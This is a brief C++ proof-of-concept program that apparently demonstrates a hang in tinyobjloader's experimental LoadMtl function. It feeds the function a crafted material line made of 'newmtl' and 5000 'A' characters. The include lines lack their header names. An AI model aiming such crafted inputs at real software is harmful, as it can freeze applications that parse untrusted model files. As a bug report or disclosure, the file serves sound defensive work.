#include #include #include #include #include #define TINYOBJ_LOADER_OPT_IMPLEMENTATION #include "tinyobjloader/experimental/tinyobj_loader_opt.h" int main(int argc, char** argv) { std::string malicious_content = "newmtl " + std::string(5000, 'A'); std::istringstream malicious_stream(malicious_content); std::map material_map; std::vector materials; std::cout << "It should freeze now" << std::endl; tinyobj_opt::LoadMtl(&material_map, &materials, &malicious_stream); std::cout << "The POC failed" << std::endl; return 0; }